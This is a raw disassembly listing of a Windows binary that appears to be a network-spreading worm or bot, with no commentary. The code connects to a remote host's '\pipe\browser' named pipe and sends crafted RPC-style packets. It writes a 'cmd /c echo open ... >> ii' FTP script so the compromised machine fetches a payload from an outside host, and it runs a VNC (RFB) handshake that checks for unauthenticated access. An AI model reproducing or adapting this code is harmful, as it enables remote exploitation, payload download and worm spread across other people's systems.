		call	sub_41B0B1
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40D987
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db  78h	; x
		db 0E1h	; á
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0F0h	; ð
		db 0D4h	; Ô
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0A8h	; ¨
		db 0F7h	; ÷
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  74h	; t
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0A6h	; ¦
		db 0DFh	; ß
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db 0A7h	; §
		db 0DBh	; Û
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ¸
		db  58h	; X
		db 0D1h	; Ñ
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; è
		db  44h	; D
		db  8Dh	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26F07FEh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_43224C
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432238
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2650939h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321E0[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDCCC
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_43222F+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321D4[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321DC[esi]
		push	7
		add	eax, edi
		push	offset dword_4321C8
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432068
		push	eax
		call	sub_41C310
		mov	eax, dword_4321D8[esi]
		add	esp, 30h
		cmp	byte_4321E0[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDCC4
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_4321F8
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_4321F8

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2650939h
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 26E07B3h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 2670E9Dh
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26805CCh
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db  81h	; 
		db 0ECh	; ì
		db 0A0h	;  
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; ö
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db 0D6h	; Ö
		db 0D6h	; Ö
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; Ç
		db  45h	; E
		db 0F0h	; ð
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; è
		db  2Bh	; +
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; µ
		db 0C4h	; Ä
		db    0
		db    0
		db    0
		db  89h	; ‰
		db  45h	; E
		db 0F4h	; ô
		db  90h	; 
		db 0E8h	; è
		db  6Ah	; j
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ‰
		db  45h	; E
		db 0F2h	; ò
		db 0E8h	; è
		db  38h	; 8
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; ‹
		db 0D8h	; Ø
		db  83h	; ƒ
		db 0FBh	; û
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; ð
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ¿
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ‹
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db 0B8h	; ¸
		db    8
		db  91h	; ‘
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0E0h	; à
		db 0ACh	; ¬
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db 0DFh	; ß
		db 0CCh	; Ì
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  80h	; €
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; è
		db  38h	; 8
		db 0DAh	; Ú
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; è
		db  87h	; ‡
		db 0D0h	; Ð
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FEh	; þ
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; 
		db 0E8h	; è
		db  8Bh	; ‹
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ƒ
		db 0F8h	; ø
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; À
		db 0EBh	; ë
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; …
		db  60h	; `
		db 0FAh	; ú
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; Ö
		db  53h	; S
		db 0E8h	; è
		db 0E8h	; è
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; É
		db 0C3h	; Ã
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 2625ABE8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACE0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_43143Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFE4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322F4
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431440[eax]
		lea	eax, dword_431440[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433538
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAFA4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB03C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE5C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
